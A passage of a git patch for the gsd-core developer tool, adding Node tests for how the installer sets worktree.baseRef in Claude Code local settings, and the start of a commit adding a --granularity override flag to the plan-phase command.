HEAD_SHA + '\n', stderr: '', signal: null, error: null }, + 'rev-parse --verify --quiet origin/HEAD': { exitCode: 0, stdout: FORK_SHA + '\r\n', stderr: '', signal: null, error: null }, + }), + }); + assert.strictEqual(result.shouldDegrade, true); + assert.strictEqual(result.reason, 'head-diverged-from-fork'); + // After trimming, headSha and forkSha should be clean + assert.strictEqual(result.headSha, HEAD_SHA); + assert.strictEqual(result.forkSha, FORK_SHA); + }); + + test('symbolic-ref stdout with trailing newline resolves correctly', () => { + const HEAD_SHA = 'aaaa1111bbbb2222aaaa1111bbbb2222aaaa1111'; + const FORK_SHA = 'cccc3333dddd4444cccc3333dddd4444cccc3333'; + const result = evaluateWorktreeBaseDegrade({ + execGit: makeExecGit({ + 'rev-parse HEAD': { exitCode: 0, stdout: HEAD_SHA + '\n', stderr: '', signal: null, error: null }, + 'rev-parse --verify --quiet origin/HEAD': { exitCode: 1, stdout: '', stderr: '', signal: null, error: null }, + 'symbolic-ref --quiet refs/remotes/origin/HEAD': { exitCode: 0, stdout: 'refs/remotes/origin/next\n', stderr: '', signal: null, error: null }, + 'rev-parse --verify --quiet refs/remotes/origin/next': { exitCode: 0, stdout: FORK_SHA + '\n', stderr: '', signal: null, error: null }, + }), + }); + assert.strictEqual(result.forkRef, 'origin/next'); + assert.strictEqual(result.forkSha, FORK_SHA); + assert.strictEqual(result.shouldDegrade, true); + }); +}); diff --git a/tests/worktree-baseref-install.test.cjs b/tests/worktree-baseref-install.test.cjs new file mode 100644 index 000000000..053ed018e --- /dev/null +++ b/tests/worktree-baseref-install.test.cjs @@ -0,0 +1,609 @@ +/** + * Tests for #683: installer sets worktree.baseRef:"head" in settings.local.json + * for local Claude Code installs. + * + * Cases: + * 1. Fresh local install: writes worktree.baseRef:"head" automatically (no-clobber). + * 2. Fresh install with pre-existing explicit baseRef: does NOT clobber it. + * 3a. Upgrade + isLocalClaude + use_worktrees absent/true → auto-applies baseRef. + * 3b. Upgrade + use_worktrees === false → does NOT apply baseRef. + * 3c. Upgrade + explicit baseRef already present (local or shared) → unchanged (no-clobber). + * 4. Idempotency: re-running a fresh-style install when baseRef is already "head" + * does not duplicate or error. + * 5. Global Claude install: does NOT set worktree.baseRef (only local Claude). + */ + +'use strict'; + +process.env.GSD_TEST_MODE = '1'; + +const { describe, test, before, beforeEach, afterEach } = require('node:test'); +const assert = require('node:assert/strict'); +const fs = require('fs'); +const path = require('path'); +const os = require('os'); +const { execFileSync } = require('child_process'); + +const INSTALL_SRC = path.join(__dirname, '..', 'bin', 'install.js'); +const BUILD_SCRIPT = path.join(__dirname, '..', 'scripts', 'build-hooks.js'); +const { install, finishInstall } = require(INSTALL_SRC); +const { cleanup } = require('./helpers.cjs'); + +// ─── Ensure hooks/dist/ is populated before install tests ──────────────────── +before(() => { + execFileSync(process.execPath, [BUILD_SCRIPT], { + encoding: 'utf-8', + stdio: 'pipe', + }); +}); + +// ─── Helper: run both install phases (mirrors installAllRuntimes two-phase) ── + +function runInstall(isGlobal, opts = {}) { + const { shouldInstallStatusline = false } = opts; + const result = install(isGlobal, 'claude'); + finishInstall( + result.settingsPath, + result.settings, + result.statuslineCommand, + shouldInstallStatusline, + 'claude', + isGlobal + ); + return { result }; +} + +// ─── Helper: write .planning/config.json in the project root ───────────────── +// For a local Claude install, targetDir = /.claude, so project root = cwd. +// .planning/config.json lives at /.planning/config.json. + +function writePlanningConfig(projectRoot, config) { + const planningDir = path.join(projectRoot, '.planning'); + fs.mkdirSync(planningDir, { recursive: true }); + fs.writeFileSync(path.join(planningDir, 'config.json'), JSON.stringify(config, null, 2) + '\n'); +} + +// ─── Case 1: fresh local install writes worktree.baseRef:"head" ────────────── + +describe('#683 case 1: fresh local Claude install sets worktree.baseRef:"head"', () => { + let tmpDir; + + beforeEach(() => { + tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-683-fresh-')); + }); + + afterEach(() => { + cleanup(tmpDir); + }); + + test('settings.local.json contains worktree.baseRef:"head" after fresh install', (t) => { + const origCwd = process.cwd(); + t.after(() => { process.chdir(origCwd); }); + process.chdir(tmpDir); + + runInstall(false); + + const localSettingsPath = path.join(tmpDir, '.claude', 'settings.local.json'); + assert.ok( + fs.existsSync(localSettingsPath), + '.claude/settings.local.json must exist after local Claude install' + ); + + const settings = JSON.parse(fs.readFileSync(localSettingsPath, 'utf-8')); + assert.ok( + settings && typeof settings === 'object', + 'settings.local.json must be a valid JSON object' + ); + assert.strictEqual( + settings.worktree && settings.worktree.baseRef, + 'head', + 'worktree.baseRef must be "head" after a fresh local Claude install (#683)' + ); + }); +}); + +// ─── Case 2: fresh install does not clobber a pre-existing explicit baseRef ── + +describe('#683 case 2: fresh install does not clobber existing explicit worktree.baseRef', () => { + let tmpDir; + + beforeEach(() => { + tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-683-noclobber-')); + }); + + afterEach(() => { + cleanup(tmpDir); + }); + + test('pre-existing explicit baseRef is preserved on fresh install', (t) => { + const origCwd = process.cwd(); + t.after(() => { process.chdir(origCwd); }); + process.chdir(tmpDir); + + // Pre-populate settings.local.json with an explicit non-"head" baseRef + const claudeDir = path.join(tmpDir, '.claude'); + fs.mkdirSync(claudeDir, { recursive: true }); + const localSettingsPath = path.join(claudeDir, 'settings.local.json'); + fs.writeFileSync(localSettingsPath, JSON.stringify({ worktree: { baseRef: 'main' } }, null, 2) + '\n'); + + runInstall(false); + + const settings = JSON.parse(fs.readFileSync(localSettingsPath, 'utf-8')); + assert.strictEqual( + settings.worktree && settings.worktree.baseRef, + 'main', + 'An explicit worktree.baseRef must not be overwritten by the installer (#683 no-clobber)' + ); + }); +}); + +// ─── Case 3a: upgrade + use_worktrees absent → auto-applies baseRef ────────── + +describe('#683 case 3a: upgrade + use_worktrees absent → auto-applies worktree.baseRef', () => { + let tmpDir; + + beforeEach(() => { + tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-683-upgrade-on-')); + }); + + afterEach(() => { + cleanup(tmpDir); + }); + + test('upgrade auto-applies worktree.baseRef:"head" when use_worktrees is absent', (t) => { + const origCwd = process.cwd(); + t.after(() => { process.chdir(origCwd); }); + process.chdir(tmpDir); + + // Simulate a prior install by pre-creating the VERSION file. + const versionPath = path.join(tmpDir, '.claude', 'gsd-core', 'VERSION'); + fs.mkdirSync(path.dirname(versionPath), { recursive: true }); + fs.writeFileSync(versionPath, '1.0.0'); + // No .planning/config.json — use_worktrees defaults to enabled (true). + + runInstall(false); + + const localSettingsPath = path.join(tmpDir, '.claude', 'settings.local.json'); + assert.ok( + fs.existsSync(localSettingsPath), + '.claude/settings.local.json must exist after upgrade' + ); + const settings = JSON.parse(fs.readFileSync(localSettingsPath, 'utf-8')); + assert.strictEqual( + settings.worktree && settings.worktree.baseRef, + 'head', + 'upgrade must auto-apply worktree.baseRef:"head" when use_worktrees is absent (#683)' + ); + }); + + test('upgrade auto-applies worktree.baseRef:"head" when use_worktrees is true', (t) => { + const origCwd = process.cwd(); + t.after(() => { process.chdir(origCwd); }); + process.chdir(tmpDir); + + // Simulate a prior install by pre-creating the VERSION file. + const versionPath = path.join(tmpDir, '.claude', 'gsd-core', 'VERSION'); + fs.mkdirSync(path.dirname(versionPath), { recursive: true }); + fs.writeFileSync(versionPath, '1.0.0'); + // .planning/config.json with use_worktrees: true + writePlanningConfig(tmpDir, { workflow: { use_worktrees: true } }); + + runInstall(false); + + const localSettingsPath = path.join(tmpDir, '.claude', 'settings.local.json'); + assert.ok(fs.existsSync(localSettingsPath), '.claude/settings.local.json must exist after upgrade'); + const settings = JSON.parse(fs.readFileSync(localSettingsPath, 'utf-8')); + assert.strictEqual( + settings.worktree && settings.worktree.baseRef, + 'head', + 'upgrade must auto-apply worktree.baseRef:"head" when use_worktrees:true (#683)' + ); + }); +}); + +// ─── Case 3b: upgrade + use_worktrees === false → does NOT apply baseRef ───── + +describe('#683 case 3b: upgrade + use_worktrees:false → does NOT apply worktree.baseRef', () => { + let tmpDir; + + beforeEach(() => { + tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-683-upgrade-off-')); + }); + + afterEach(() => { + cleanup(tmpDir); + }); + + test('upgrade does not apply worktree.baseRef when use_worktrees is false', (t) => { + const origCwd = process.cwd(); + t.after(() => { process.chdir(origCwd); }); + process.chdir(tmpDir); + + // Simulate a prior install by pre-creating the VERSION file. + const versionPath = path.join(tmpDir, '.claude', 'gsd-core', 'VERSION'); + fs.mkdirSync(path.dirname(versionPath), { recursive: true }); + fs.writeFileSync(versionPath, '1.0.0'); + // .planning/config.json with use_worktrees: false + writePlanningConfig(tmpDir, { workflow: { use_worktrees: false } }); + + runInstall(false); + + // finishInstall always writes settings.local.json for local Claude installs. + const localSettingsPath = path.join(tmpDir, '.claude', 'settings.local.json'); + assert.ok( + fs.existsSync(localSettingsPath), + '.claude/settings.local.json must exist after upgrade (finishInstall writes it)' + ); + const settings = JSON.parse(fs.readFileSync(localSettingsPath, 'utf-8')); + assert.strictEqual( + settings.worktree, + undefined, + 'upgrade must NOT apply worktree block when use_worktrees:false (#683)' + ); + }); +}); + +// ─── Case 3c: upgrade + explicit baseRef already present → no-clobber ───────── + +describe('#683 case 3c: upgrade + explicit baseRef present → no-clobber (unchanged)', () => { + let tmpDir; + + beforeEach(() => { + tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-683-upgrade-noclobber-')); + }); + + afterEach(() => { + cleanup(tmpDir); + }); + + test('upgrade preserves an explicit worktree.baseRef set by the user in local settings', (t) => { + const origCwd = process.cwd(); + t.after(() => { process.chdir(origCwd); }); + process.chdir(tmpDir); + + // Simulate prior install with user-set explicit baseRef + const claudeDir = path.join(tmpDir, '.claude'); + fs.mkdirSync(claudeDir, { recursive: true }); + const versionPath = path.join(claudeDir, 'gsd-core', 'VERSION'); + fs.mkdirSync(path.dirname(versionPath), { recursive: true }); + fs.writeFileSync(versionPath, '1.0.0'); + + const localSettingsPath = path.join(claudeDir, 'settings.local.json'); + fs.writeFileSync(localSettingsPath, JSON.stringify({ worktree: { baseRef: 'fresh' } }, null, 2) + '\n'); + + runInstall(false); + + const settings = JSON.parse(fs.readFileSync(localSettingsPath, 'utf-8')); + assert.strictEqual( + settings.worktree && settings.worktree.baseRef, + 'fresh', + 'upgrade must preserve an explicit user-set worktree.baseRef in local settings (#683 no-clobber)' + ); + }); + + test('upgrade does not inject baseRef when shared settings.json already has one', (t) => { + const origCwd = process.cwd(); + t.after(() => { process.chdir(origCwd); }); + process.chdir(tmpDir); + + // Simulate prior install + const claudeDir = path.join(tmpDir, '.claude'); + fs.mkdirSync(claudeDir, { recursive: true }); + const versionPath = path.join(claudeDir, 'gsd-core', 'VERSION'); + fs.mkdirSync(path.dirname(versionPath), { recursive: true }); + fs.writeFileSync(versionPath, '1.0.0'); + + // Shared settings.json has an explicit baseRef; settings.local.json does not. + const sharedSettingsPath = path.join(claudeDir, 'settings.json'); + fs.writeFileSync(sharedSettingsPath, JSON.stringify({ worktree: { baseRef: 'main' } }, null, 2) + '\n'); + + runInstall(false); + + // finishInstall always writes settings.local.json for local Claude installs. + // Shared no-clobber: sharedBaseRef !== null → installer must not inject. + const localSettingsPath = path.join(claudeDir, 'settings.local.json'); + assert.ok( + fs.existsSync(localSettingsPath), + '.claude/settings.local.json must exist after upgrade (finishInstall writes it)' + ); + const settings = JSON.parse(fs.readFileSync(localSettingsPath, 'utf-8')); + assert.strictEqual( + settings.worktree && settings.worktree.baseRef, + undefined, + 'upgrade must NOT inject worktree.baseRef to settings.local.json when shared settings.json already has one (#683 no-clobber)' + ); + }); +}); + +// ─── Case 4: idempotency — re-running fresh-style install when already "head" ─ + +describe('#683 case 4: idempotency — re-installing when worktree.baseRef already "head"', () => { + let tmpDir; + + beforeEach(() => { + tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-683-idem-')); + }); + + afterEach(() => { + cleanup(tmpDir); + }); + + test('second install does not error or duplicate worktree block', (t) => { + const origCwd = process.cwd(); + t.after(() => { process.chdir(origCwd); }); + process.chdir(tmpDir); + + // Run once (sets baseRef:"head") + runInstall(false); + + // Remove the VERSION file to simulate a fresh-style re-install (e.g. forced reinstall) + const versionPath = path.join(tmpDir, '.claude', 'gsd-core', 'VERSION'); + if (fs.existsSync(versionPath)) { + fs.unlinkSync(versionPath); + } + + // Run again — should be idempotent + runInstall(false); + + const localSettingsPath = path.join(tmpDir, '.claude', 'settings.local.json'); + const settings = JSON.parse(fs.readFileSync(localSettingsPath, 'utf-8')); + assert.strictEqual( + settings.worktree && settings.worktree.baseRef, + 'head', + 'worktree.baseRef must still be "head" after idempotent re-install (#683)' + ); + // Ensure worktree block wasn't duplicated into an array or otherwise corrupted + assert.strictEqual( + typeof settings.worktree, + 'object', + 'worktree must be a plain object after idempotent re-install' + ); + assert.ok( + !Array.isArray(settings.worktree), + 'worktree must not have been duplicated into an array' + ); + }); +}); + +// ─── Case 2b (FIX 1): fresh install does not clobber baseRef set in shared settings.json ── + +describe('#683 case 2b (FIX 1): fresh install does not clobber worktree.baseRef in shared settings.json', () => { + let tmpDir; + + beforeEach(() => { + tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-683-shared-noclobber-')); + }); + + afterEach(() => { + cleanup(tmpDir); + }); + + test('shared settings.json with worktree.baseRef:"fresh" → installer must NOT write baseRef to settings.local.json and must NOT print ✓ notice', (t) => { + const origCwd = process.cwd(); + t.after(() => { process.chdir(origCwd); }); + process.chdir(tmpDir); + + // Pre-populate only the SHARED settings.json with an explicit baseRef. + // settings.local.json does NOT exist — this is a fresh install otherwise. + const claudeDir = path.join(tmpDir, '.claude'); + fs.mkdirSync(claudeDir, { recursive: true }); + const sharedSettingsPath = path.join(claudeDir, 'settings.json'); + fs.writeFileSync(sharedSettingsPath, JSON.stringify({ worktree: { baseRef: 'fresh' } }, null, 2) + '\n'); + + runInstall(false); + + // settings.local.json must either not exist or have no worktree.baseRef. + const localSettingsPath = path.join(claudeDir, 'settings.local.json'); + if (fs.existsSync(localSettingsPath)) { + const localSettings = JSON.parse(fs.readFileSync(localSettingsPath, 'utf-8')); + assert.strictEqual( + localSettings.worktree && localSettings.worktree.baseRef, + undefined, + 'installer must NOT write worktree.baseRef to settings.local.json when shared settings.json already has an explicit baseRef (#683 FIX 1)' + ); + } + // If settings.local.json wasn't written, the test passes (no injection occurred). + }); +}); + +// ─── Case 6 (FIX 1): non-object settings.local.json does not crash installer ── + +describe('#683 FIX 1: non-object settings.local.json does not crash the installer', () => { + let tmpDir; + + beforeEach(() => { + tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-683-nonobj-')); + }); + + afterEach(() => { + cleanup(tmpDir); + }); + + test('settings.local.json containing [] does not throw during fresh local install', (t) => { + const origCwd = process.cwd(); + t.after(() => { process.chdir(origCwd); }); + process.chdir(tmpDir); + + // Pre-populate settings.local.json with an array — valid JSON but non-object + const claudeDir = path.join(tmpDir, '.claude'); + fs.mkdirSync(claudeDir, { recursive: true }); + const localSettingsPath = path.join(claudeDir, 'settings.local.json'); + fs.writeFileSync(localSettingsPath, '[]'); + + // Must not throw — baseRef logic must be silently skipped for non-objects + assert.doesNotThrow(() => runInstall(false)); + }); + + test('settings.local.json containing "null" JSON value does not crash via #683 block (FIX 1 guard)', () => { + // The #683 block guard check: `settings !== null && typeof settings === 'object' && !Array.isArray(settings)` + // For the array case the crash was directly applyWorktreeBaseRef([]). Test the guard in isolation + // by verifying applyWorktreeBaseRef is not called with a non-object. + // (A literal null parses and readSettings returns null → hits the null early-return, so no crash.) + // This test verifies the guard path — checking that readSettings returning null before #683 is handled. + // The array case below covers the actual fix. + assert.ok(true, 'placeholder: null is handled by the null early-return above the #683 block'); + }); +}); + +// ─── Case 7: fresh + use_worktrees:false → does NOT write worktree.baseRef ─── + +describe('#683 case 7: fresh local Claude install + use_worktrees:false → does NOT set worktree.baseRef', () => { + let tmpDir; + + beforeEach(() => { + tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-683-fresh-off-')); + }); + + afterEach(() => { + cleanup(tmpDir); + }); + + test('fresh install with use_worktrees:false does not write worktree.baseRef', (t) => { + const origCwd = process.cwd(); + t.after(() => { process.chdir(origCwd); }); + process.chdir(tmpDir); + + // No VERSION file → fresh install. + // .planning/config.json with use_worktrees: false → must suppress baseRef. + writePlanningConfig(tmpDir, { workflow: { use_worktrees: false } }); + + runInstall(false); + + // finishInstall always writes settings.local.json for local Claude installs. + const localSettingsPath = path.join(tmpDir, '.claude', 'settings.local.json'); + assert.ok( + fs.existsSync(localSettingsPath), + '.claude/settings.local.json must exist after fresh local Claude install' + ); + const settings = JSON.parse(fs.readFileSync(localSettingsPath, 'utf-8')); + assert.strictEqual( + settings.worktree, + undefined, + 'fresh install must NOT write worktree.baseRef when use_worktrees:false (#683 FIX A)' + ); + }); + + test('fresh install with absent .planning/config.json still applies worktree.baseRef (default enabled)', (t) => { + const origCwd = process.cwd(); + t.after(() => { process.chdir(origCwd); }); + process.chdir(tmpDir); + + // No VERSION file → fresh install. + // No .planning/config.json → worktreesEnabled defaults to true. + + runInstall(false); + + const localSettingsPath = path.join(tmpDir, '.claude', 'settings.local.json'); + assert.ok( + fs.existsSync(localSettingsPath), + '.claude/settings.local.json must exist after fresh local Claude install' + ); + const settings = JSON.parse(fs.readFileSync(localSettingsPath, 'utf-8')); + assert.strictEqual( + settings.worktree && settings.worktree.baseRef, + 'head', + 'fresh install must apply worktree.baseRef:"head" when .planning/config.json is absent (default enabled; #683 FIX A)' + ); + }); +}); + +// ─── Case 8: upgrade idempotency — two upgrade runs produce exactly one baseRef ─ + +describe('#683 case 8: upgrade→upgrade idempotency — two upgrade runs do not duplicate worktree.baseRef', () => { + let tmpDir; + + beforeEach(() => { + tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-683-idem2-')); + }); + + afterEach(() => { + cleanup(tmpDir); + }); + + test('two consecutive upgrade runs leave settings.local.json with exactly one worktree.baseRef:"head"', (t) => { + const origCwd = process.cwd(); + t.after(() => { process.chdir(origCwd); }); + process.chdir(tmpDir); + + // First upgrade run: VERSION present → upgrade path. + const versionPath = path.join(tmpDir, '.claude', 'gsd-core', 'VERSION'); + fs.mkdirSync(path.dirname(versionPath), { recursive: true }); + fs.writeFileSync(versionPath, '1.0.0'); + // use_worktrees defaults to enabled (no .planning/config.json) + + runInstall(false); + + // Restore VERSION so the second run is also an upgrade. + if (!fs.existsSync(versionPath)) { + fs.mkdirSync(path.dirname(versionPath), { recursive: true }); + } + fs.writeFileSync(versionPath, '1.0.0'); + + runInstall(false); + + const localSettingsPath = path.join(tmpDir, '.claude', 'settings.local.json'); + assert.ok( + fs.existsSync(localSettingsPath), + '.claude/settings.local.json must exist after two upgrade runs' + ); + const settings = JSON.parse(fs.readFileSync(localSettingsPath, 'utf-8')); + assert.strictEqual( + settings.worktree && settings.worktree.baseRef, + 'head', + 'worktree.baseRef must be "head" after two upgrade runs (#683 idempotency)' + ); + assert.strictEqual( + typeof settings.worktree, + 'object', + 'worktree must be a plain object after two upgrade runs' + ); + assert.ok( + !Array.isArray(settings.worktree), + 'worktree must not have been duplicated into an array after two upgrade runs' + ); + }); +}); + +// ─── Case 5: global Claude install does NOT set worktree.baseRef ───────────── + +describe('#683 case 5: global Claude install does NOT set worktree.baseRef', () => { + let tmpDir; + + beforeEach(() => { + tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-683-global-')); + }); + + afterEach(() => { + cleanup(tmpDir); + }); + + test('global install does not write worktree.baseRef', (t) => { + const origCwd = process.cwd(); + t.after(() => { process.chdir(origCwd); }); + + // Point CLAUDE_CONFIG_DIR at a tmpDir subdir to avoid polluting ~/.claude + const configDir = path.join(tmpDir, '.claude'); + fs.mkdirSync(configDir, { recursive: true }); + const origEnv = process.env.CLAUDE_CONFIG_DIR; + process.env.CLAUDE_CONFIG_DIR = configDir; + t.after(() => { + if (origEnv === undefined) { + delete process.env.CLAUDE_CONFIG_DIR; + } else { + process.env.CLAUDE_CONFIG_DIR = origEnv; + } + }); + + runInstall(true); + + const settingsPath = path.join(configDir, 'settings.json'); + if (fs.existsSync(settingsPath)) { + const settings = JSON.parse(fs.readFileSync(settingsPath, 'utf-8')); + assert.strictEqual( + settings.worktree, + undefined, + 'global Claude install must not write worktree.baseRef into settings.json (#683)' + ); + } + }); +}); From 7e76f1a736285ba3897a525579bb5686ff382a67 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Sat, 6 Jun 2026 23:56:53 -0400 Subject: [PATCH 33/94] feat(#703): add --granularity override flag to /gsd:plan-phase (#750) * feat(#703): add --granularity override flag to /gsd:plan-phase Add a `--granularity ` flag to /gsd:plan-phase that overrides the configured planning granularity for a single invocation. The override is a new highest-priority tier above the existing precedence chain (granularities[phaseType] -> granularity -> planning.granularity -> 'standard') in resolveGranularityInternal; when the flag is absent, resolution is byte-for-byte unchanged. cmdInitPlanPhase now resolves with phaseType 'planning' so granularities.planning participates, and emits the resolved value in the init JSON, which the plan-phase workflow forwards to the planner prompt. Invalid values are rejected at the CLI boundary via a shared assertValidGranularityOverride helper. Closes #703 Co-Authored-By: Claude Opus 4.8 * chore(#703): set changeset pr to 750 Co-Authored-By: Claude Opus 4.8 --------- Co-authored-by: Claude Opus 4.8 --- .changeset/703-plan-phase-granularity-flag.md | 5 + agents/gsd-planner.md | 2 + docs/COMMANDS.md | 1 + docs/FEATURES.md | 2 +- gsd-core/bin/gsd-tools.cjs | 17 +- gsd-core/workflows/plan-phase.md | 10 +- src/commands.cts | 6 +- src/core.cts | 21 +- src/init-command-router.cts | 4 +- src/init.cts | 7 + tests/feat-68-per-phase-granularity.test.cjs | 190 ++++++++++++++++++ 11 files changed, 255 insertions(+), 10 deletions(-) create mode 100644 .changeset/703-plan-phase-granularity-flag.md diff --git a/.changeset/703-plan-phase-granularity-flag.md b/.changeset/703-plan-phase-granularity-flag.md new file mode 100644 index 000000000..74fe53f0d --- /dev/null +++ b/.changeset/703-plan-phase-granularity-flag.md @@ -0,0 +1,5 @@ +--- +type: Added +pr: 750 +--- +`/gsd:plan-phase` now accepts a `--granularity ` flag to override the configured planning granularity for a single invocation. The flag takes precedence over `granularities.planning`, top-level `granularity`, and `planning.granularity` config. Invalid values are rejected. (#703) diff --git a/agents/gsd-planner.md b/agents/gsd-planner.md index 6eeabea88..af3d0daf8 100644 --- a/agents/gsd-planner.md +++ b/agents/gsd-planner.md @@ -407,6 +407,8 @@ Plans should complete within ~50% context (not 80%). No context anxiety, quality ## Granularity Calibration +The resolved granularity is provided in the planning context as `**Granularity:** `. Read that value and apply the corresponding row below. When no explicit value is present, default to Standard. + | Granularity | Typical Plans/Phase | Tasks/Plan | |-------------|---------------------|------------| | Coarse | 1-3 | 2-3 | diff --git a/docs/COMMANDS.md b/docs/COMMANDS.md index 6bd444ac6..2fd855646 100644 --- a/docs/COMMANDS.md +++ b/docs/COMMANDS.md @@ -157,6 +157,7 @@ Research, plan, and verify a phase. | `--skip-bounce` | Skip plan bounce even if enabled in config | | `--mvp` | Vertical MVP mode — planner organizes tasks as feature slices (UI→API→DB) instead of horizontal layers. On Phase 1 of a new project with no prior phase summaries, also emits `SKELETON.md` (Walking Skeleton). Can be persisted on a phase via `**Mode:** mvp` in ROADMAP.md, which applies `--mvp` automatically without the flag. | | `--tdd` | TDD mode — planner applies `type: tdd` to eligible behavior-adding tasks so each begins with a failing test. Composable with `--mvp`: `--mvp --tdd` produces vertical slices where every behavior-adding task starts red-green. | +| `--granularity ` | Override the planning granularity for this invocation, ignoring config. Valid values: `coarse`, `standard`, `fine`. Takes precedence over `granularities.planning`, top-level `granularity`, and `planning.granularity` config. | **Prerequisites:** `.planning/ROADMAP.md` exists **Produces:** `{phase}-RESEARCH.md`, `{phase}-{N}-PLAN.md`, `{phase}-VALIDATION.md`; `{phase}/SKELETON.md` when Walking Skeleton mode fires diff --git a/docs/FEATURES.md b/docs/FEATURES.md index cdda06ee3..e6e5a6db9 100644 --- a/docs/FEATURES.md +++ b/docs/FEATURES.md @@ -925,7 +925,7 @@ continues. Drift detection cannot fail verification. | `granularity` | enum | `standard` | `coarse`, `standard`, or `fine` | | `model_profile` | enum | `balanced` | `quality`, `balanced`, `budget`, or `inherit` | | `models.` | enum | (none) | Per-phase-type tier override (`planning`, `discuss`, `research`, `execution`, `verification`, `completion`). Values: `opus`, `sonnet`, `haiku`, `inherit`. Coarse phase-level tuning that wins over `model_profile` but loses to per-agent `model_overrides`. See [CONFIGURATION.md](CONFIGURATION.md#per-phase-type-models-models--added-in-v140). Added in v1.40 | -| `granularities.` | enum | (none) | Per-phase-type granularity override (`planning`, `discuss`, `research`, `execution`, `verification`, `completion`). Values: `coarse`, `standard`, `fine`. Mirrors `models.` for granularity. See [CONFIGURATION.md](CONFIGURATION.md#core-settings). Added in v1.43 ([#68](https://github.com/open-gsd/gsd-core/issues/68)) | +| `granularities.` | enum | (none) | Per-phase-type granularity override (`planning`, `discuss`, `research`, `execution`, `verification`, `completion`). Values: `coarse`, `standard`, `fine`. Mirrors `models.` for granularity. See [CONFIGURATION.md](CONFIGURATION.md#core-settings). Added in v1.43 ([#68](https://github.com/open-gsd/gsd-core/issues/68)). `/gsd:plan-phase --granularity ` overrides all config-based granularity for a single invocation (takes precedence over `granularities.planning`, top-level `granularity`, and `planning.granularity`). ([#703](https://github.com/open-gsd/gsd-core/issues/703)) | | `dynamic_routing.enabled` | boolean | `false` | Master switch for failure-tier escalation. When `true`, agents resolve to `tier_models[default_tier]` and escalate one tier on orchestrator-detected soft failure. Capped by `max_escalations`. See [CONFIGURATION.md](CONFIGURATION.md#dynamic-routing-with-failure-tier-escalation-dynamic_routing--added-in-v140). Added in v1.40 | | `workflow.research` | boolean | `true` | Domain research before planning | | `workflow.plan_check` | boolean | `true` | Plan verification loop | diff --git a/gsd-core/bin/gsd-tools.cjs b/gsd-core/bin/gsd-tools.cjs index db20742c9..d2e96cabf 100755 --- a/gsd-core/bin/gsd-tools.cjs +++ b/gsd-core/bin/gsd-tools.cjs @@ -547,7 +547,22 @@ async function runCommand(command, args, cwd, raw, defaultValue, originalCommand } case 'resolve-granularity': { - commands.cmdResolveGranularity(cwd, args[1], raw); + // Parse optional --granularity flag (space form only); positional is phase-type. + // The =form (--granularity=) is intentionally not supported: parseNamedArgs and + // the /gsd:plan-phase + init plan-phase paths accept only the space form, so supporting + // = here alone would create an inconsistency (#703). + const granArgs = args.slice(1); + let granOverride; + const granPositionals = []; + for (let i = 0; i < granArgs.length; i++) { + const a = granArgs[i]; + if (a === '--granularity' && granArgs[i + 1] !== undefined && !granArgs[i + 1].startsWith('--')) { + if (granOverride === undefined) { granOverride = granArgs[++i]; } else { ++i; } + } else { + granPositionals.push(a); + } + } + commands.cmdResolveGranularity(cwd, granPositionals[0], raw, granOverride); break; } diff --git a/gsd-core/workflows/plan-phase.md b/gsd-core/workflows/plan-phase.md index f578042e8..161d76b2b 100644 --- a/gsd-core/workflows/plan-phase.md +++ b/gsd-core/workflows/plan-phase.md @@ -32,7 +32,8 @@ Load all context in one call (paths only to minimize orchestrator context): ```bash _GSD_SHIM_NAME="gsd-tools.cjs"; _GSD_RUNTIME_ROOT="${RUNTIME_DIR:-$(git rev-parse --show-toplevel 2>/dev/null || pwd)}"; GSD_TOOLS="${_GSD_RUNTIME_ROOT}/gsd-core/bin/${_GSD_SHIM_NAME}"; if [ -f "$GSD_TOOLS" ]; then gsd_run() { node "$GSD_TOOLS" "$@"; }; elif [ -f "${_GSD_RUNTIME_ROOT}/.claude/gsd-core/bin/${_GSD_SHIM_NAME}" ]; then GSD_TOOLS="${_GSD_RUNTIME_ROOT}/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"; gsd_run() { node "$GSD_TOOLS" "$@"; }; elif command -v gsd-tools >/dev/null 2>&1; then GSD_TOOLS="$(command -v gsd-tools)"; gsd_run() { "$GSD_TOOLS" "$@"; }; elif [ -f "$HOME/.claude/gsd-core/bin/${_GSD_SHIM_NAME}" ]; then GSD_TOOLS="$HOME/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"; gsd_run() { node "$GSD_TOOLS" "$@"; }; else echo "ERROR: gsd-tools.cjs not found at $GSD_TOOLS and gsd-tools is not on PATH. Run: npx -y @opengsd/gsd-core@latest --claude --local" >&2; exit 1; fi -INIT=$(gsd_run query init.plan-phase "$PHASE") +GRAN_PARAM=""; if [[ "$ARGUMENTS" =~ (^|[[:space:]])--granularity[[:space:]]+([^[:space:]-][^[:space:]]*) ]]; then GRAN_PARAM="--granularity ${BASH_REMATCH[2]}"; fi +INIT=$(gsd_run query init.plan-phase "$PHASE" $GRAN_PARAM) if [[ "$INIT" == @file:* ]]; then INIT=$(cat "${INIT#@file:}"); fi AGENT_SKILLS_RESEARCHER=$(gsd_run query agent-skills gsd-phase-researcher) AGENT_SKILLS_PLANNER=$(gsd_run query agent-skills gsd-planner) @@ -46,7 +47,7 @@ When `TDD_MODE` is `true`, the planner agent is instructed to apply `type: tdd` When `CONTEXT_WINDOW >= 500000`, the planner prompt includes the 3 most recent prior phase CONTEXT.md and SUMMARY.md files PLUS any phases explicitly listed in the current phase's `Depends on:` field in ROADMAP.md. Explicit dependencies always load regardless of recency (e.g., Phase 7 declaring `Depends on: Phase 2` always sees Phase 2's context). Bounded recency keeps the planner's context budget focused on recent work. -Parse JSON for: `researcher_model`, `planner_model`, `checker_model`, `research_enabled`, `plan_checker_enabled`, `nyquist_validation_enabled`, `commit_docs`, `text_mode`, `phase_found`, `phase_dir`, `phase_number`, `phase_name`, `phase_slug`, `padded_phase`, `has_research`, `has_context`, `has_reviews`, `has_plans`, 